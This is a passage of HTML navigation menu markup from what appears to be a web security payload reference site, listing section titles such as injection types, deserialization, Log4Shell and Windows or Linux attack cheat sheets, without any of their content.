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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
Encoding Transformations
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
Encoding Transformations
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Encoding%20Transformations/" class="md-nav__link">
<span class="md-ellipsis">
Encoding and Transformations
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
External Variable Modification
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
External Variable Modification
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../External%20Variable%20Modification/" class="md-nav__link">
<span class="md-ellipsis">
External Variable Modification
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../File%20Inclusion/Wrappers/" class="md-nav__link">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_31">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_32">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
<span class="md-ellipsis">
Bazaar
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
<span class="md-ellipsis">
Git
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
<span class="md-ellipsis">
Mercurial
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
<span class="md-ellipsis">
Subversion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_33">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
<span class="md-ellipsis">
Java RMI
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_34">
<span class="md-nav__icon md-icon"></span>
Java RMI
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Java%20RMI/" class="md-nav__link">
<span class="md-ellipsis">
Java RMI
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
<span class="md-ellipsis">
LDAP Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_35">
<span class="md-nav__icon md-icon"></span>
LDAP Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LDAP%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LDAP Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
<span class="md-ellipsis">
LaTeX Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_36">
<span class="md-nav__icon md-icon"></span>
LaTeX Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LaTeX%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LaTeX Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
<span class="md-ellipsis">
Mass Assignment
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_37">
<span class="md-nav__icon md-icon"></span>
Mass Assignment
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Mass%20Assignment/" class="md-nav__link">
<span class="md-ellipsis">
Mass Assignment
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
<span class="md-ellipsis">
Methodology and Resources
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_38">
<span class="md-nav__icon md-icon"></span>
Methodology and Resources
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
<span class="md-ellipsis">
Active Directory Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Bind Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - AWS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - Azure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Kubernetes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
<span class="md-ellipsis">
Application Escape and Breakout
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
HTML Smuggling
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
<span class="md-ellipsis">
Hash Cracking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
<span class="md-ellipsis">
Initial Access
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Evasion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Server
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Metasploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Bug Hunting Methodology and Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
<span class="md-ellipsis">
Network Discovery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
<span class="md-ellipsis">
Network Pivoting Techniques
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
<span class="md-ellipsis">
Office - Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Powershell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Reverse Shell Cheat Sheet
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Source Code Management &amp; CI/CD Compromise
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Reports
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
<span class="md-ellipsis">
Subdomains Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Windows - AMSI Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
<span class="md-ellipsis">
Windows - DPAPI
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Download and execute methods
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Using credentials
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
<span class="md-ellipsis">
NoSQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
